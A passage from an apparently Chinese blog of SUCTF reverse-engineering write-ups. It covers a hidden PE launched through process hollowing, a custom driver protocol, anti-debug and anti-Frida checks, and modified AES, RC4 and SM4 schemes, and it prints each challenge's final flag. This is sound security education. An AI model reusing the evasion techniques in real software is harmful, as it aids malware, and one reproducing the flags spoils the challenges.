  • 要求长度为 0x30
  • 逐字节检查 input[i] ^ 0x5A == table[i]

但继续跟主流程后会发现,这里只是一个烟雾弹,并不是真正的校验逻辑。

真实路径中,chal.exe 会:

  • 解密自身数据段中的隐藏 PE
  • 创建挂起子进程
  • 执行 Process Hollowing
  • 通过管道把输入交给隐藏 PE

因此,chal.exe 本体只是第一层壳。

二、提取隐藏 PE

对 chal.exe 的解密函数进行模拟后,可以恢复出第二层可执行文件。 该隐藏 PE 导入了如下关键 API:

  • CreateFileA
  • DeviceIoControl
  • CloseHandle
  • fgets
  • memcmp

同时可以看到关键字符串:

\.\Revird

这说明隐藏 PE 会把输入交给驱动进行处理。

三、隐藏 PE 的主逻辑

隐藏 PE 的主函数逻辑比较直接:

  1. 从标准输入读取字符串
  2. 去掉换行符
  3. 打开设备 \\.\Revird
  4. 调用核心处理函数
  5. 得到 0x40 字节输出
  6. 与程序内置的 64 字节目标常量进行 memcmp
  7. 完全相同则返回成功

因此,问题可以转化为:

还原“输入 -> 64 字节输出”的完整变换,再对目标常量做逆运算。

四、驱动通信协议

隐藏 PE 通过如下方式与驱动通信:

DeviceIoControl(hDevice, 0x222000, inbuf, 0x40, outbuf, 0x30, ...)

输入缓冲区中包含:

  • 魔数 0x52455649
  • 异常类型
  • 命令号
  • 轮数
  • block 编号
  • 两段 16 字节数据

输出缓冲区长度为 0x30,不同命令会使用其中不同位置的 16 字节结果。

驱动中的关键命令语义如下:

  • cmd 2:自定义非线性替换
  • cmd 3:ShiftRows
  • cmd 4:MixColumns + RoundKey
  • cmd 5:首轮异或
  • cmd 6:末轮异或

五、异常控制流的作用

隐藏 PE 中有大量故意制造的异常:

  • int3
  • 除零异常
  • 空指针写
  • RaiseException(0xE0421002)

这些异常并不是题目的核心加密逻辑,而是用于打散控制流、提升静态分析难度。 去掉这些异常伪装后,可以把它们统一视作对驱动命令的包装调用。

六、还原整体算法

综合隐藏 PE 与驱动逻辑,可以确认整体算法本质上是一套“改造版 AES-CBC”:

  • 分组大小:16 字节
  • 总输出长度:64 字节
  • 填充方式:PKCS#7
  • 共 4 个 block
  • 使用自定义 S-box、Rcon 和轮密钥

每个分组的加密流程可表示为:

state = plaintext_block ^ prev_block  
state ^= round_key[0]  
​  
for round in 1..9:  
    state = CustomSubBytes(state)  
    state = ShiftRowsAndReorder(state)  
    state = MixColumns(state)  
    state ^= round_key[round]  
​  
state = CustomSubBytes(state)  
state = ShiftRowsAndReorder(state)  
state ^= round_key[10]

其中:

  • prev_block 为 CBC 链中的前一块或 IV
  • CustomSubBytes 由隐藏 PE 与驱动中的表共同决定
  • 实际生效的轮密钥来自用户态与驱动态两边 key material 的组合

七、逆向恢复明文

程序最终比较的是隐藏 PE 内置的 64 字节目标密文。 在完整还原算法后,只需要对这 4 个 block 逐块执行逆变换即可:

  1. 去掉末轮密钥
  2. 逆排列
  3. 逆替换
  4. 逆 MixColumns
  5. 去掉对应轮密钥
  6. 最后结合 CBC 的前一块或 IV 还原明文
  7. 去除 PKCS#7 padding

恢复得到的明文为:

SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}

之后再将其重新走一遍正向加密,得到的 64 字节结果与程序内置目标常量完全一致,验证通过。

最终 Flag

SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}

总结

这道题的关键难点不在单个函数,而在于把三部分拼起来:

  • chal.exe 的壳与隐藏 PE 提取
  • 隐藏 PE 的驱动调度逻辑
  • Revird.sys 中各个命令的真实语义

当这三部分被统一到一个完整模型里后,本题就可以转化为对自定义分组算法的逆向还原,最终稳定解出 flag。

SU_flumel

题目信息

  • 题目文件:flumel.apk
  • 关键 Native:flumel/lib/x86_64/libjunk.so
  • 关键资源:flumel/assets/flutter_assets/bundles/cache.snap.bundle
  • 最终 flag:SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

总体思路

这题是一个典型的 Flutter + Native 混合校验题。

一开始如果只盯着 libjunk.so,会发现它确实在做最终的 flag 校验,但直接从 Native 里解出来的并不是可读字符串,而是一段 36 字节的中间态数据。说明真正的用户输入在进入 Native 之前,还经过了 APK / Dart 层的一次变换。

所以正确做法是:

  1. 先逆 libjunk.so,搞清楚最终比较逻辑,拿到 Native 校验前的中间态。
  2. 再逆 APK 里的 Dart 逻辑,找到输入是怎么被预处理的。
  3. 把两层拼起来,逆回原始 flag。

一、分析 libjunk.so

1.1 关键函数定位

在 libjunk.so 里,核心校验函数是导出的 qk9v,地址为:

  • 0x4490

结合 IDA MCP 和调用关系,可以确定它接收 4 个参数:

  1. 用户输入对应的字节指针
  2. 用户输入长度
  3. cache.snap.bundle 的字节指针
  4. cache.snap.bundle 的长度

其中它会强校验:

  • 输入长度必须是 36
  • bundle 长度必须 >= 256

1.2 反调试 / 反 Frida

qk9v 开头有一段比较标准的检测逻辑,包括:

  • 读取 /proc/self/status 检查 TracerPid
  • 扫 /proc/self/maps
  • 扫 /proc/self/task/*/comm
  • 匹配关键字:

    • frida-agent
    • frida-gadget
    • gum-js-loop
    • linjector

这部分对最终解题没有本质影响,静态分析即可绕过。

1.3 Hermes bundle 参与校验

Native 不只是简单拿 bundle 当常量,而是真的把它作为校验链的一部分使用:

  • 会调用 HermesRuntime::isHermesBytecode
  • 会构造 Hermes runtime
  • 用字符串 "bundles/cache.snap.bundle" 作为脚本名去执行该 bundle

也就是说,cache.snap.bundle 不是障眼法,而是参与了后续密钥派生。

1.4 AES 校验逻辑

qk9v 会对 36 字节输入做如下处理:

  1. 使用 PKCS#7 padding,把 36 字节补到 48 字节
  2. 使用 AES-128-CBC 加密
  3. 将密文和 so 内嵌常量比较

输入补齐后,末尾会补 12 个 0x0c。

1.5 Key / IV 派生

从 so 中还原出的派生公式如下。

先定义:

  • fnv32 = FNV1a32(bundle)
  • crc32 = CRC32(bundle)

然后:

key[i] = key_mask[i]
        ^ ((fnv32 + i) & 0xff)
        ^ bundle[(11 + 17*i) % len(bundle)]
​
iv[i] = iv_mask[i]
        ^ (((crc32 >> 8) + 3*i) & 0xff)
        ^ bundle[(7 + 29*i) % len(bundle)]

其中:

  • key_mask 位于 0x1FE0
  • iv_mask 位于 0x2020

把 so 内嵌密文拼出来后,直接 AES-CBC 解密,得到 Native 期待的 36 字节明文:

2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743

Base64 形式为:

LzMUwwTB+obb2F4zEJPVlZ1+rkvCqQMxUZTlPJyge6vY2NdD

但它不是可打印 ASCII,所以这不是最终 flag,而是 APK 层处理后的中间结果。

二、分析 APK / Dart 层

2.1 还原 Dart 逻辑

这是 Flutter 应用,直接看 Java 层意义不大。核心逻辑在 libapp.so 对应的 Dart AOT 代码里。

这里使用 blutter 对 libapp.so 做还原,得到关键文件:

  • ctf_verifier.dart

从还原结果可以看到核心流程:

CtfVerifier::verify  
  -> _loadHermesBundle()  
  -> _buildRc4Key()  
  -> Rc4Warp::process(userInput)  
  -> _verifyInNativeAsync()  
  -> _nativeWorker()  
  -> dlopen("libjunk.so")  
  -> dlsym("qk9v")

所以 Native 收到的并不是用户原始输入,而是 Rc4Warp::process 的输出。

2.2 bundle 来源

_loadHermesBundle() 直接从资源里加载:

bundles/cache.snap.bundle

然后把这个 bundle 的字节数组传给 Native。

这就和前面 libjunk.so 的 bundle 依赖完全对上了。

2.3 RC4 key 的构造

_buildRc4Key() 很清楚,常量数组为:

[0x1f, 0x3b, 0x3f, 0x03, 0x00, 0x0a, 0xcf, 0xe5, 0xe7, 0xe8, 0xca, 0xcc, 0xd2]

对每个位置 i,做:

key[i] = const[i] ^ ((9*i + 0x4b) & 0xff)

算出来就是:

TobeorNottobe

2.4 Rc4Warp::process 不是标准 RC4

继续看 Rc4Warp::process 会发现,它借用了 RC4 的 S 盒思路,但 KSA 和 PRGA 都做了额外扰动,不是标准 RC4。

关键点有两层:

  1. 初始化 S[256]
  2. 用自定义的轮转、异或、索引扰动生成密钥流

KSA 部分

初始化:

  • S[i] = i
  • acc = 0
  • rot = 0xC3

循环 i = 0..255:

k1 = key[(5*i + 1) % key_len]  
k2 = key[(3*i + 7) % key_len]  
rot = rol8(rot, 1)  
acc = (acc + S[i] + k1 + (k2 ^ rot) + i) & 0xff  
swap(S[i], S[acc])

PRGA 部分

初始化:

  • i = 0
  • j = 0
  • rot = 0x9d

对每个输入字节 b:

i = (i + 1) & 0xff  
si = S[i]  
j = (j + si + 11*i) & 0xff  
swap(S[i], S[j])  
sj = S[i]  
u = (sj + si + (S[(i + j) & 0xff] ^ rot)) & 0xff  
rot = rol8(rot, 3)  
su = S[u]  
ks = su ^ S[(su ^ rot) & 0xff] ^ ((13*i) & 0xff)  
out_byte = b ^ ks

因为这里依旧是异或型流加密,所以加密和解密是同一个函数。

三、拼出最终 flag

前面从 Native 层拿到的是中间态:

2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743

再把它丢进 Rc4Warp::process(key="TobeorNottobe") 做一次逆运算,就得到最终输入:

SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

四、最终脚本

为了方便复现,最终把完整逻辑写进了:

  • solve_flag.py

它做了三件事:

  1. 从 libjunk.so 提取常量
  2. 结合 cache.snap.bundle 派生 AES key / iv 并解密
  3. 运行 Dart 层自定义 Rc4Warp,恢复最终 flag

五、结论

这题的难点不在单独某一层,而在于:

  • Native 层只给出“中间态”
  • Dart 层又藏了一层自定义流变换
  • cache.snap.bundle 同时被 APK 和 Native 共用

只逆 so 会卡在“解出一段乱码”,只看 APK 又拿不到最终比较条件。必须把 Flutter 层和 Native 层一起串起来,才能完整解题。

Flag

SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

SU_West

题目信息

  • 题目名:SU_West
  • 类型:Reverse
  • 分值:363PT
  • 样本:Journey_to_the_West.exe

最终 flag:

SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}


一、程序入口分析

程序入口在 main,核心流程很清晰:

  1. 先做一轮反调试检测。
  2. 读取输入。
  3. 对 81 轮数据逐轮校验。
  4. 如果全部通过,直接打印 40 字节 flag。

反编译后主逻辑可以概括成:

if (sub_140001100(..., 1)) {  
    puts("debugger detected");  
} else {  
    if (sub_1400012C0(argc, argv, inputs)) {  
        puts("all inputs collected, starting verification...");  
        if (sub_1400013B0(inputs, &round_idx, &layer_idx)) {  
            puts("correct");  
        } else {  
            printf("incorrect at round %zu (layer %u)\n", ...);  
        }  
    } else {  
        puts("input format error");  
    }  
}

其中最关键的是:

  • sub_1400012C0:读取 81 个输入。
  • sub_1400013B0:执行 81 轮校验,成功后打印 flag。

二、输入格式

输入支持两种方式:

  1. 交互式输入 81 次。
  2. 作为命令行参数一次性传入。

真正的解析函数是 sub_140013070,约束如下:

  • 必须是十进制数字串。
  • 长度必须是 16。
  • 数值范围是 [10^15, 10^16 - 1]。

命令行模式下,81 个数用逗号分隔,对应函数是 sub_140012F90。

所以样本的输入本质上是:

81 个 16 位十进制整数


三、81 轮校验结构

sub_1400013B0 初始化了一个状态结构,然后循环 81 次:

for (i = 0; i != 81; ++i) {  
    layer = byte_14003DEE0[i];  
    if ( sub_140001100(...)  
      || !funcs_140001499[layer](&state, input[i])  
      || sub_140001100(...) ) {  
        // 失败,记录 round / layer  
        return 0;  
    }  
}  
printf("flag: %.*s\n", 40, flag_buf);

这里有两个非常关键的全局数据:

  • byte_14003DEE0:长度 81 的层顺序表,决定每一轮调用哪一个 layer。
  • funcs_140001499:81 个函数指针,分别对应 81 个 layer 的校验函数。

这意味着:

  • 输入顺序固定是 81 轮。
  • 但每轮真正执行的校验函数,由 byte_14003DEE0 决定。

四、反调试

程序有几层反调试:

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • 遍历导入表 / 内存页属性做额外检查
  • 基于 clock() 的耗时检测

这部分主要在:

  • sub_140001580
  • sub_140001780
  • sub_1400017E0

不过这题并不需要正面硬刚反调试。因为:

  • 直接静态分析即可;
  • 关键校验逻辑都能被完整复现;
  • 外围的 sub_140001100 更像“状态搅动器”,不是唯一判定来源。

五、每层函数的公共模板

随便看几层函数,比如:

  • sub_140001EB0
  • sub_1400021A0
  • sub_1400024B0
  • sub_1400051A0

会发现它们虽然常量不同,但骨架高度一致:

  1. 先调用一组公共 helper:

    • sub_140012480
    • sub_140012630
    • sub_140012780
    • sub_140012940
  2. 用 sub_140012940(...) 的结果和一个 64 位常量比较。
  3. 比较成功后,再更新状态和 flag 缓冲区:

    • sub_140012B90
    • sub_140012C00
    • sub_140012CA0

也就是说,每轮校验的核心其实是:

给定当前 state、round、layer、table,找到一个 16 位十进制整数 input,
使得 sub_140012940(...) == 当前 layer 对应的 magic 常量

这就把题目变成了一个非常适合脚本化求解的问题。


六、关键数据布局

每个 layer 都对应一块大小约 0xC0 的数据表,起始于:

0x14002A710

后续 layer 表是连续排列的。

这些表会被公共 helper 读取,用来生成每层不同的约束。

因此整题的结构可以概括为:

layer 函数模板 + 每层常量 + 每层数据表 + layer 调度顺序


七、求解思路

1. 提取 layer 对应的 magic 常量

每个 layer 函数里都会出现一段逻辑:

v_magic = sub_140012940(...);
if ( v_magic != 0xXXXXXXXXXXXXXXX )
   return 0;

所以先把 81 个函数扫一遍,提取出每层比较用的 64 位常量。

我在脚本里直接用:

  • pefile 读 PE
  • capstone 反汇编函数

自动从函数中抓出这组 magic。

2. 复现公共 helper

把下面这些 helper 用 Python 完整复现:

  • sub_140012480
  • sub_140012630
  • sub_140012780
  • sub_140012940
  • sub_140012B90
  • sub_140012C00
  • sub_140012CA0

其中:

  • 前三个主要负责从当前输入和状态推导中间值;
  • sub_140012940 产出真正拿去比较的 64 位结果;
  • 后三个在每轮成功后更新状态和 flag 缓冲区。

3. 用 Z3 逐轮求输入

每轮只需要求一个变量:

input_i ∈ [10^15, 10^16 - 1]

令:

sub_140012940(...) == magic[layer]

交给 z3 求解即可。

因为每轮求出的输入会影响后续状态,所以必须:

  1. 按真实轮次顺序求;
  2. 每解出一轮就更新一次状态;
  3. 再进入下一轮。

这样递推 81 次,最终不仅能得到全部输入,还能同步还原出 flag 缓冲区。


八、自动化脚本

本地求解脚本已经写在:

solve.py

运行方式:

python solve.py

脚本完成的事情:

  1. 读取 Journey_to_the_West.exe
  2. 提取函数表、layer 顺序表和 layer 数据表
  3. 自动提取各 layer 的 magic
  4. 用 z3 逐轮求 81 个输入
  5. 按真实逻辑更新状态和 flag 缓冲区
  6. 输出最终 flag

九、验证

将脚本求出的 81 个输入作为命令行参数喂给程序,程序输出:

all inputs collected, starting verification...
flag: SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}
correct

说明求解完全正确。


十、总结

这题表面上是 81 层大体量校验,实际上是一个很标准的“模板化层函数 + 每层常量/表驱动”的逆向题。

核心突破点有三个:

  1. 识别 81 个 layer 函数其实是同一套模板。
  2. 把真正的判定条件缩到 sub_140012940(...) == magic。
  3. 用脚本复现公共逻辑并结合 z3 逐轮求解。

最终 flag:

SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}

SU_old_bin

题目信息

附件里核心文件是 old.bin。 目标是还原校验逻辑并求出最终 flag。

最终得到的 flag 为:

flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}

这串内容已经送回程序验证逻辑,结果为 valid=True。


1. 初步分析

先对 old.bin 做基础检查:

  • 熵很高,不像纯文本或普通压缩包
  • 开头也不是常见文件头
  • 很像整体被做了一层简单混淆

实际分析后发现:

old.bin 的每个字节都被异或了 0x7f

还原后得到一个自定义镜像,开头是 IMG0。


2. 拆出镜像内容

IMG0 里一共有 4 个 entry:

  1. entry00.bin
  2. entry01.bin
  3. entry02.bin
  4. entry03.bin

其中最关键的是:

  • entry01.bin:解压后是主程序
  • entry02/entry03:一些 SMALLFW 包,里面有 CTF_PAYLOAD_* 和 NOTE_*

2.1 entry01

entry01.bin 经 xz 解压后,能得到一份被改坏 ELF 头的 MIPS64 little-endian 程序。 修正头部后得到:

old.bin_246/entry01.fixed.elf

这就是主逆向目标。

2.2 entry02 / entry03

这两个包继续展开后,能看到:

  • SMALLFW
  • 多层 xz/gzip/zip
  • 若干 CTF_PAYLOAD_file_*
  • NOTE_0_ZIKH26
  • NOTE_1_ZIKH26

这些内容一开始看起来很像 flag 载体,但后面证明主解法还是在 entry01.fixed.elf 的校验逻辑里。


3. 主程序功能定位

把 entry01.fixed.elf 丢进 IDA 后,主逻辑很快能定位到:

  • sub_120007FF8:初始化验证状态
  • sub_120009B7C:处理一次客户端连接
  • sub_1200084F4:发 32 字节 challenge
  • sub_120008658:真正验证输入
  • sub_120009E44:主函数,带 socket/accept 循环

程序流程大致是:

  1. 初始化一份内部状态
  2. 给客户端发一个 32 字节 challenge
  3. 从客户端读最多 64 字节
  4. 跑一套自定义变换
  5. 和内置 64 字节目标值比较
  6. 成功则打印 VALIDATION_SUCCESS

4. 校验逻辑拆解

4.1 状态初始化

状态由 4 个固定 qword 作为种子:

0xFFF55731369D7563
0x16E58EB22FBD5C72
0x3632ED844C43F5B0
0x390980A442221584

再经过:

  • splitmix64
  • xoshiro256**

生成内部随机状态。

初始化阶段会构造三块关键数组:

  • arr4[64]
  • arr5[64]
  • arr6[48]

其中:

  • arr5 是 0..63 洗牌后的结果
  • arr4/arr6 由 PRNG + AES S-box 生成

4.2 输入预处理

用户输入最多 64 字节,不足的部分会自动补:

pad[j] = (17 * j) & 0xff

然后每一位再和 arr4[(7*j)&0x3f] + j 异或。

4.3 六轮字节变换

随后进入 6 轮逐字节变换,每轮都会从 PRNG 取一个 6-bit mask:

x ^= mask + pos + round_idx
x = rol8(x, 1)
x ^= AES_SBOX[(x + 13 * round_idx) & 0xff]

4.4 二次重排

接下来生成 i3[64]:

idx = arr5[k] & 0x3f
tmp = i2[idx] ^ arr6[k % 0x30]
i3[k] = AES_SBOX[tmp] ^ arr4[k]

4.5 16 字节分块加密

i3 被分成 4 个 block,每个 block 16 字节。 之后进入一个“类 SM4 但被魔改过”的分组算法。

关键点:

  • S 盒不是标准调用方式,而是 table[(x + 55) & 0xff]
  • 线性层是用 64 位寄存器做“32 位窗口旋转”
  • 常量 CK 不是标准 SM4 的那组值
  • 最终只取每个输出 qword 的低 32 位对应字节参与比较

最后输出的 64 字节会和程序内置 target 比较。


5. 逆向过程中的关键坑点

这题最大的坑不是“大算法难”,而是“细节很多,错一处整题全偏”。

5.1 rol64 的 64 位截断

我一开始自己写的 rol64 没有在旋转前先做:

value &= 0xFFFFFFFFFFFFFFFF

而 xoshiro 里有:

rol64(5 * s1, 7)

5 * s1 在 Python 会变成无限精度整数,如果不先截成 64 位,右移时会把多出来的高位也带进去,导致随机流悄悄错掉。

修正后:

  • arr4 和真机一致
  • arr5 和真机一致

这一步是整题真正的突破点。

5.2 魔改 CK 常量

块加密一开始看起来很像 SM4,但 round key 一直对不上。 后面通过 angr 对照真实函数执行,确认:

CK 不是标准 SM4 CK

需要用程序内实际内存里的 32 个常量。

5.3 key 传参格式

sub_120009938 的第二个参数并不是原始 16-byte key 直接传进去, 而是先拆成 4 个 32 位 big-endian word,再放进 qword 低 32 位。

如果这里直接按 16 字节原样传,轮密钥会全错。

5.4 输出并不唯一

把整套逻辑逆出来后,会发现:

  • 每个字节并不一定只有一个前像
  • 也就是说“满足校验”的字符串不是唯一

但题目显然是 CTF flag,前缀自然应当收敛到:

flag{

在所有可行字符中选出标准 flag 形式后,得到最终答案。


6. 求解思路总结

整体求解步骤如下:

  1. old.bin ^ 0x7f,恢复 IMG0
  2. 提取 entry01
  3. 解压并修正 ELF 头,得到 MIPS64 程序
  4. 在 IDA 中定位验证函数
  5. 还原:

    • PRNG
    • arr4/arr5/arr6
    • 6 轮字节变换
    • 魔改块加密
  6. 用真实执行结果校正脚本中的细节错误
  7. 逆出 64 字节可行输入
  8. 从可行解中选出符合 flag{...} 形式且能通过验证的一组

7. 最终结果

最终通过验证的 flag:

flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}


8. 题后总结

这题最有代表性的地方有两个:

  1. 外层拆包很多,容易让人误以为 flag 在 SMALLFW/NOTE/CTF_PAYLOAD 里
  2. 真正主逻辑虽然不算超大,但实现细节非常毒:

    • 64 位截断
    • 魔改常量
    • 参数打包格式
    • 只取输出低 32 位字节

如果没有把“脚本实现”和“真二进制执行”逐步对齐,很容易陷在一个看起来很合理、但永远差一点点的错误模型里。


9. 相关脚本

目录里我用到/补过的主要脚本有:

  • solve_flag.py
  • angr_compare.py
  • angr_state_compare.py
  • analyze_solution_space.py

其中真正最后收敛 flag 的核心是:

  • 先把 solve_flag.py 修到和真机一致
  • 再用 analyze_solution_space.py 确认可选字符范围
  • 最后选出 flag{...} 形式的合法解
朗读
赞(0)
版权属于:

霍雅的博客

本文链接:

https://huoya.work/bk/index.php/archives/564/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去天
本月已经过去天
今年已经过去个月